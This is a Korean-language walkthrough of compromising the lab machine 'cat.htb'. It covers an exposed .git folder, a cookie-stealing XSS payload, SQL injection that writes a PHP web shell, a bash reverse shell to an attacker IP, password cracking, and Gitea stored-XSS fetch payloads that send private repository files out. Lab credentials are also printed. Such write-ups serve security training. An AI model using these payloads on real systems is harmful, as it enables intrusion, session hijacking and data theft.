
Information Gathering
NMAP
- UDP 포트 내 유효한 포트는 발견되지 않음
➜ recon cat 10.129.231.253_UDP
# Nmap 7.95 scan initiated Mon Dec 1 11:02:55 2025 as: /usr/lib/nmap/nmap --top-ports 100 -sU -sV -Pn -n -oN 10.129.231.253_UDP 10.129.231.253
Nmap scan report for 10.129.231.253
Host is up (0.070s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT STATE SERVICE VERSION
68/udp open|filtered dhcpc
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Dec 1 11:06:22 2025 -- 1 IP address (1 host up) scanned in 207.60 seconds- TCP 포트 내 열린 포트는 2개 확인됐다. (SSH, HTTP)
➜ recon nmap -p- -sC -sV -T4 -oN 10.129.231.253_TCP 10.129.231.253
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-01 11:09 KST
Nmap scan report for 10.129.231.253
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
| 256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_ 256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 527.28 secondsPORT 80
- 80번 포트에서 운영 중인 웹 서비스 접근 시 가상 호스팅에 의해 접속이 불가했다.
- 접속을 위해 /etc/hosts 파일에 대상 호스트의 IP와 도메인 명을 맵핑하여 접속 설정을 진행해줬다.
➜ recon cat /etc/hosts
# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:
# [network]
# generateHosts = false
127.0.0.1 localhost
127.0.1.1 soneg.localdomain soneg
10.129.231.253 cat.htb
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allroutersDirectory Enumeration (Gobuster)
- 디렉토리 열거 도구로 정보를 수집한 결과 대상 호스트에서
.git폴더가 확인되었다. - 해당 폴더를 다운로드 후 공격에 활용 가능한 정보가 있는지 확인이 필요하다.

.git폴더 다운로드 시에는 git-dumper 도구를 사용했다.
(git-dumper) ➜ 251201 git-dumper
usage: git-dumper [options] URL DIR
git-dumper: error: the following arguments are required: URL, DIR
(git-dumper) ➜ 251201 git-dumper http://cat.htb/.git .
[-] Testing http://cat.htb/.git/HEAD [200]
[-] Testing http://cat.htb/.git/ [403]
[-] Fetching common files
[ . . . ]
[-] Running git checkout ..git폴더 내부에는 아래 파일들이 존재했다.
(git-dumper) ➜ 251201 git:(master) ls
accept_cat.php css index.php vote.php
admin.php delete_cat.php join.php winners
config.php img logout.php winners.php
contest.php img_winners view_cat.php
winner.php파일 내용을 살펴 보니,include함수로/winners/*.php파일을 불러와 화면에 출력하고 있었다.- 현재 /winners 경로에는 “cat_report_20240831_173129.php” 파일만 존재했다.
- 만약, 위 경로에 악성 페이로드가 저장된 PHP 파일을 저장할 수 있으면 악용 가능할 것으로 보인다.

- 만약, 위 경로에 악성 페이로드가 저장된 PHP 파일을 저장할 수 있으면 악용 가능할 것으로 보인다.
- 홈페이지 내부에는 이미지 파일을 업로드 하는 페이지(
/contest.php)가 존재했다. - 회원가입(/join) 후 로그인하여 /contest.php 경로로 접근하면 이미지 파일 업로드가 가능하다.
- (바로 PHP 파일 업로드를 해 봤으나, 이미지 파일만 업로드 가능하도록 서버에서 검증하고 있었다.)

- (바로 PHP 파일 업로드를 해 봤으나, 이미지 파일만 업로드 가능하도록 서버에서 검증하고 있었다.)
contest.php파일에서는 업로드 파일에 대해 아래와 같이 검증을 수행하고 있다.- (1)
forbidden_patterns함수로 설정된 패턴에 대해 정규식으로 필터링 수행 - (2) 이후 업로드 파일이 이미지 파일인지, 이미 존재하는 파일인지, 사이즈가 너무 큰지, 이미지 확장자인지 등 검증

- (1)
contest.php소스를 통해 업로드 된 파일은/view_cat.php?cat_id={인덱스 번호}와 같이 확인할 수 있었는데- 해당 소스는 관리자 세션이 필요했기 때문에 접근이 불가능했다.

- 추가로, 소스코드 취약점을 진단하던 도중
accept_cat.php파일에서 SQLi 취약 지점을 발견했다.- 그러나, 해당 소스도 관리자만 사용할 수 있는 기능이었기 때문에 취약점 연계 공격이 필요했다.
- (관리자 권한 탈취가 가능한 공격 벡터를 찾아야 함.)

- 여기서 아래 코드(view.php)를 살펴보면, 업로드 된 이미지 파일을 이미지 태그를 통해 불러오고 있었는데,
- 값을 가져올 때는
cats테이블에서photo_path,cat_name컬럼 값을 불러와 사용했다.

photo_path,cat_name은/contest.php경로에서 파일 업로드 시 지정된 값이다.

- 위 내용들을 정리해보면 아래와 같다.
- (1)
/contest.php파일에서 업로드 한 파일은/view_cat.php파일에서 조회가 가능하다. - (2)
accept_cat.php파일에서 INSERT문 사용 시 입력값 검증이 미흡하다. (SQLi 취약지점) - (3)
accept_cat.php파일의 INSERT문에 SQLi 공격을 수행하기 위해서는 관리자 세션이 필요하다. - (4)
view.php파일에서는 이미지 태그를 통해 고양이 이미지 경로/고양이 이름을 불러와 화면에 출력하는 구조를 띠고 있다. 이 때,$cat['photo_path'], $cat['cat_name']값은contest.php소스를 통해 사용자가 조작 가능한 값이다.

- 이미지 태그에서 사용되는
photo_path, cat_name컬럼 값에 악성 페이로드를 삽입하는 게 가능하면 관리자가 “/view_cat.php?cat_id={임의 값}” 경로로 접근할 때 해당 페이로드가 관리자 측에서 실행되도록 유도할 수 있다. - 앞서 발견한 SQLi 취약점과 연계 공격을 진행하기 위해서는 관리자 세션 정보를 획득해야 하므로, 먼저 아래와 같이 공격을 진행하여 관리자의 세션 정보를 공격자 호스트 측으로 전달하는 페이로드를 삽입한다.
- 고양이 이름(Cat Name) 입력 시에는
$forbidden_patterns = "/[+*{}',;<>()\\[\\]\\/\\:]/";문자 검증을 하고 있으므로, 이 문자들은 포함되면 안 된다. 공격자 호스트로 세션 정보를 전달하기 위해서는 프로토콜(http:) 문자열 구조를 사용해야 하므로 별도의 인코딩 과정이 필요해 보인다.

- 고양이 이름(Cat Name) 입력 시에는
cat_name파라미터 값을 HTML 엔티티로 치환하여 전달 시 정상적으로 업로드 가능하다.(공격 페이로드 원본) " onerror="window.location='http://{공격자 IP}:{공격자 PORT}/?cookie='+document.cookie" x="(공격 페이로드 HTML 인코딩) " onerror="window.location='http://10.10.14.14:8000/?cookie=' + document.cookie;" x="- https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity(true,‘Numeric%20entities’)Find_/_Replace(%7B’option’:‘Regex’,‘string’:’;‘%7D,”,true,false,true,false)&input=d2luZG93LmxvY2F0aW9uPSdodHRwOi8vMTAuMTAuMTQuMTQ6ODAwMC8/Y29va2llPScgKyBkb2N1bWVudC5jb29raWU7
- (이 때 주의할 점은 실제 이미지를 업로드 하면 onerror 이벤트 핸들러가 실행되지 않으므로 비정상적인 구조의 이미지를 업로드 해야한다.)

- 로컬 서버를 개방한 후 기다리고 있으면 관리자가 “/view_cat.php?cat_id={내 이미지}” 경로로 접근했을 때 관리자의 세션 정보가 공격자 호스트 측으로 전달된다.

-
개발자 도구에서 PHPSESSID 값을 탈취한 관리자 세션 값으로 수정 후 새로고침하면, 관리자 권한으로 접속된다.
-
이제 이 값을 이용해서 “/access_cat.php” 경로에서 확인한 SQLi 취약점을 공략해보자.

-
accept_cat.php파일에서는$sql_insert변수에 할당된 SQL 쿼리문이 선처리 질의문(바인딩 X)이 아니기 때문에 임의의 코드를 주입하여 DB에서 실행되도록 유도할 수 있다. (SQLi 취약구간)

- INSERT 절에 적절한 입력 값 검증이 수행되지 않으므로 아래 자료를 참고하여 서버 측에 웹쉘을 업로드 했다.
(공격 페이로드) catId=1&catName=1');ATTACH+DATABASE+'/var/www/cat.htb/lol.php'+AS+lol%3bCREATE+TABLE+lol.pwn+(dataz+text)%3bINSERT+INTO+lol.pwn+(dataz)+VALUES+("<%3fphp+system($_GET['cmd'])%3b+%3f>")%3b--- 이 때, 웹쉘 업로드 경로를 /var/www/lol.php 로 지정하는 경우 500 에러 발생한다. (웹 루트 경로는 /var/www/{웹 루트 디렉토리} 구조이기 때문에 /var/www 에는 파일 쓰기 권한이 없어서 일 수 있다.)

- 이 때, 웹쉘 업로드 경로를 /var/www/lol.php 로 지정하는 경우 500 에러 발생한다. (웹 루트 경로는 /var/www/{웹 루트 디렉토리} 구조이기 때문에 /var/www 에는 파일 쓰기 권한이 없어서 일 수 있다.)
- /var/www/cat.htb/lol.php 경로에 정상적으로 웹쉘이 업로드 되었으며, RCE도 가능하였다.

Initial Acces
- 웹 쉘을 통해 대상 호스트로의 초기 침투에 성공했다.
(공격 페이로드) /lol.php?cmd=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.14/8888+0>%261"

- 현재 계정은
www-data로 /home 디렉토리에 접근하여 유저 플래그를 확인하는 것은 불가능했다.

- 정보수집 과정에서 “/var/www/cat.db/config.php” 파일에 있는 DB 파일 경로를 확인했다.

- 침투 호스트에서도 “/databases” 경로에 “cat.db” 파일을 확인할 수 있었다.

sqlite3를 통해 DB 파일을 열람한 후,users테이블에 저장된 유저 계정 정보를 획득했다.

- 획득한 계정(users)의 해시를 뽑아낸 후 크래킹을 진행한다.
➜ expl cat users | cut -d '|' -f 4 | tee user_hashes
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
4ba2b162d8971f1b0defd1e58d142733rosa계정에 대한 평문 패스워드(soyunaprincesarosa) 획득에 성공했다.- (맨 아래는 공격자가 새로 회원가입을 한 계정이므로 제외한다.)

- (맨 아래는 공격자가 새로 회원가입을 한 계정이므로 제외한다.)
- SSH를 이용하여
rosa계정으로 접속이 가능했다. (초기침투 성공)

Internal Reconnaissance
rosa계정으로 전환 이후에 권한 상승 포인트가 있는지 조사가 필요하다.- 작업 스케줄러(crontab), 수도 권한(sudo), 백업 파일 등을 조사하였으나 유용한 정보는 발견되지 않았다.
- 다시 지금까지의 과정을 복기해보면 다음과 같다.
- (1) 디렉토리 리스팅을 통해
.git폴더를 발견했고 웹 애플리케이션 소스코드를 획득했다. - (2)
cat.htb홈페이지에 로그인하여 XSS 취약점을 트리거하여 관리자 세션 정보를 획득했다. - (3) 획득한 세션 값을 활용하여 관리자만 이용 가능한 페이지(accept_cat.php)에 접근하였고, 이 페이지에 존재하던 SQLi 취약점을 이용하여 웹 서비스 폴더 내부에 웹쉘을 업로드 했다.
- (4) 웹 서버에 업로드 된 웹쉘을 이용하여 대상 호스트 계정(www-data)의 쉘을 획득했다.
- (5)
/databases/cat.db파일에 접속하여 계정 정보 획득 후 해시 크래킹을 통해 유효한 계정(rosa)을 획득했다.
- (1) 디렉토리 리스팅을 통해
- (2) 과정에서 XSS 취약점을 이용하기 위해서는 회원가입 후 로그인을 진행해야 하는데 회원가입/로그인 시 HTTP GET 요청을 통해 서버로 아이디/패스워드 정보가 전달되고 있었다.
- GET 방식으로 웹 서버에 요청을 보내면 이 기록은
access.log파일에 로깅되기 때문에 추적에 용이하다.

-
“access.log” 파일은 아래 경로에서 확인할 수 있었다.

-
access.log파일을 뜯어보니,axel계정 회원가입 시 입력한 정보(아이디/패스워드)가 있었다.(계정정보) axel / aNdZwgC4tI9gnVXv_e3Q

-
획득한 계정정보(axel)로 SSH 접속이 가능하였으며,
axel홈 디렉토리에서 플래그를 확인했다.

-
axel계정에서 리스닝 포트를 확인한 결과 22번, 80번 포트 외 다수의 포트가 내부에서 사용되고 있었다.

-
curl명령어를 통해 확인한 결과, 3000번 포트에서 웹 서비스가 운영되고 있었다.

- 3000번 포트에서 운영되는 웹 서비스는 대상 호스트 내부(로컬)에서만 운영되고 있기 때문에 외부에서 직접 접근하는 것은 불가능하다. 이를 가능하게 위해서는 포트 포워딩(터널링) 과정이 필요하다.
- (포트 포워딩이란, 누군가 특정 포트로 접근했을 때 해당 트래픽을 지정된 특정 포트로 전달해주는 것을 말한다. 프록시의 개념과 비슷한 역할을 한다.)

- (포트 포워딩이란, 누군가 특정 포트로 접근했을 때 해당 트래픽을 지정된 특정 포트로 전달해주는 것을 말한다. 프록시의 개념과 비슷한 역할을 한다.)
- 포트 포워딩에 앞서, 먼저 3000번 포트 접근 가능 여부를 확인해보자
- 당연히 내부에서 운영되는 포트이므로, 외부에서는 대상 호스트의 3000번 포트는 닫혀있다고 나온다.

-
그럼 이제 포트 포워딩(SSH 터널링)을 진행해보겠다.
-
포트 포워딩은 아래의 명령어를 통해 진행했다.
ssh -L [로컬에서 사용할 포트]:[최종적으로 접근할 곳] [SSH 서버 주소]
-
로컬 포트 포워딩 후
localhost:7979로 접속하면 대상 호스트의 3000번 포트 웹 서비스로 접근된다.

-
파이어폭스에서 7979번 포트로 접속하면 대상 호스트의 3000번 포트로 접속된다.
- 여기서 2가지 정보를 확인할 수 있었다.
- (1) 이 홈페이지는
Gitea 1.22.0 Version에 의해 호스팅 되고 있었다. - (2) 이전에 획득한
axel계정으로 로그인이 가능했다.


- (1) 이 홈페이지는
- 여기서 2가지 정보를 확인할 수 있었다.
-
gitea 1.22.0버전에는 저장형 크로스 사이트 스크립팅 취약점이 존재했다.- CVE-2024-6886 (https://www.exploit-db.com/exploits/52077)
-
이 취약점으로 권한 상승을 하기 위해서는, 초기 침투 과정에서 홈페이지 관리자 계정의 세션을 탈취한 것과 동일하게 높은 권한을 가진 계정의 계정정보를 획득할 수 있어야 한다.

-
Gitea 1.22.0 - Stored XSS취약점 익스플로잇 상세 방법은 아래와 같았다.- (1) 애플리케이션 로그인 진행 (axel 계정으로 로그인 완료)
- (2) 신규 리파지토리 생성 혹은 기존 리파지토리의
Settings메뉴로 접근 - (3)
Decription필드에 XSS 페이로드 삽입

axel계정에는 리파지토리가 없었기 때문에 새로 생성한 후Settings메뉴로 접근했다./{userName}/{reopsitoryName}/Settings경로 접근 시 아래와 같은 화면을 확인할 수 있었다.

- 추가로, 정보수집 과정에서 /var/mail/axel 파일을 발견했다.
- 해당 파일(메일)은
rosa가axel에게 전달한 메일로 내용은 아래와 같다.- 고양이 관련 신규 웹 서비스 개발 예정이니
axel의 Gitea Repository 정보를jobert@localhost에게 전달해라. - Description 란에 아이디어를 명확히 작성해서
jobert에게 메일 보내면rosa가 이를 확인할 예정임. - 직원 관리 시스템 개발 중인데 주소는
http://localhost:300/administrator/Employee-management이다. 추가로,http://localhost:300/administrator/Employee-management/raw/branch/main/README.md파일에 업데이트 내역과 기타 중요 정보를 하이라이팅 했다.

- 고양이 관련 신규 웹 서비스 개발 예정이니
- /administrator 유저의 리포지토리로 접근해봤으나, 확인 가능한 정보는 없었다.
- “Employee-management”는 권한이 있는 사용자들만 확인할 수 있도록 Private 처리된 것으로 추측된다.

- “Employee-management”는 권한이 있는 사용자들만 확인할 수 있도록 Private 처리된 것으로 추측된다.
rosa의 메일로 미루어 볼 때,axel의 리포지토리 정보를jobert에게 전달하면, 이를rosa가 직접 확인할 것이다. 이 때 기술(Description)란에 아이디어를 작성해달라고 요청했으므로rosa는axel리포지토리의Description을 클릭하여 확인해 볼 것이다. (여기서 Description 란은 Gitea 1.22.0에서 Stored-XSS 취약점이 존재했다.)- 추가로,
http://localhost:3000/administrator/Employee-management/raw/branch/main/README.md경로에는 업데이트 및 중요정보가 저장되어 있다고 했다. (이 중요정보가 어떤 정보인지 확인이 필요하다.)
- 따라서, 저장형 크로스 사이트 스크립팅 취약점을 통해 관리자(administrator) 리포지토리의
README.md파일을 읽어 공격자에게 전달하도록 유도하면 중요정보가 무엇인지 확인할 수 있을 것이다. - (axel 리포지토리에 Stored XSS 저장 →
jobert에게 XSS 페이로드가 저장된 URL 경로를 메일로 전달 → 희생자가 해당 URL을 클릭 → Description 에 삽입된 XSS 페이로드 실행 → 공격자에게 README.md 정보 전달)- 여기서
jobert에게 메일을 보내야 하는데, 이전 네트워크 스캔 과정에서 587(sendmail) 포트가 개방된 것을 확인했으므로sendmail서비스를 통해jobert에게 메일을 보내면 된다.
- 여기서
### Post Exploit - (1) 리포지토리 생성 시 "Description" 입력란에 XSS 페이로드를 삽입한다. - 이 때, `Initialize Repository` 체크박스를 클릭하여 리포지토리 초기화를 반드시 해야 한다. ``` CLICK ``` ![[C9X8S7D6A5ST6WA9-bf8ds68b96db789sdb78-20251202223023796.png]]
- 초기화 하지 않으면 아래와 같이
Description란이 화면에 노출되지 않기 때문에 - 관리자가
/{userName}/{repositoryName}경로로 들어왔을 때Description을 인식하지 못한다.

- 리포지토리 생성 시 초기화(README, .gitgnore, …)를 함께 진행하면 아래와 같이
Description가 화면에 노출된다. - 이제
sendmail을 통해jobert에게 이메일을 전송하고 공격자 호스트로 전달된 값을 확인한다.- (리스닝 포트를 열어둔 후 조금 기다리면 공격자 호스트로 값이 전달된다.)

- (리스닝 포트를 열어둔 후 조금 기다리면 공격자 호스트로 값이 전달된다.)
- README.md 파일에서는 아래와 같은 정보 확인이 가능했다.
/administrator/Employee-management/raw/branch/main/README.md
- (대략 직원 관리용 웹 페이지는 개발 중으로
admin유저 외 인원들은 조회/업데이트 확인 불가하다는 내용)

- 추가 정보 수집을 위해 “
/administrator/Employee-management” 리포지토리 전체에 대한 정보를 수집한다.- XSS 페이로드 내용 수정 후 신규 리파지토리 재생성 (다시 저장)
// *실제 사용한 페이로드 (아래 증적 이미지의 페이로드는 인코딩 이슈로 사용하지 않음)
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/").then(response=>response.text()).then(data=>fetch("http://10.10.14.36/?data="+encodeURIComponent(data)));'>click</a>

- “/administrator/Employee-management” 리포지토리는 용량이 커서 414 응답이 반환됐다.

- 이런 경우에는 응답 값을 바로 출력하지 않고 임의의 파일에 저장하는 방식을 사용하면 해결할 수 있다.
/administrator/Employee-management리포지토리의 정보를admin_repository_info파일에 저장했다.

admin_repository_info파일은 encodeURIComponent 함수에 의해 인코딩 된 값이 저장되어 있으므로, decodeURIComponent 함수로 디코딩 후 값을 확인한다.

- 위 내용을 디코딩하면 HTML 파일 구조로 구성된 것을 확인할 수 있다.
- 파일 확장자를 .html 로 저장해서 직접 확인해보면 아래 구조를 띤 홈페이지를 볼 수 있다.
- 여기서
dashboard.php, index.php, logout.php등의 파일이 확인된다. 파일명도 획득했기 때문에 이제 이 파일들에 대해서도 상세정보를 출력할 수 있다. (지금까지와 동일한 방식으로 진행)

- 여기서
- …/src/branch/main/index.php 파일을 불러와
index.php파일에 저장한다.
<a href='javascript:fetch("http://localhost:3000/administrator/Employee-management/src/branch/main/index.php").then(response=>response.text()).then(data=>fetch("http://10.10.14.36/?data="+encodeURIComponent(data)));'>click</a>

- 추출한 값을
decodeURIComponent로 디코딩한 후 html 파일로 변환하여 출력된 값을 확인해보면 관리자 계정정보가 평문으로 노출되고 있는 것을 알 수 있다. (admin/IKw75eR0MR7CMIxhH0)

- 위에서 획득한 패스워드 정보는 루트 계정의 패스워드에 해당하여 계정 전환 후 플래그를 확인할 수 있었다.
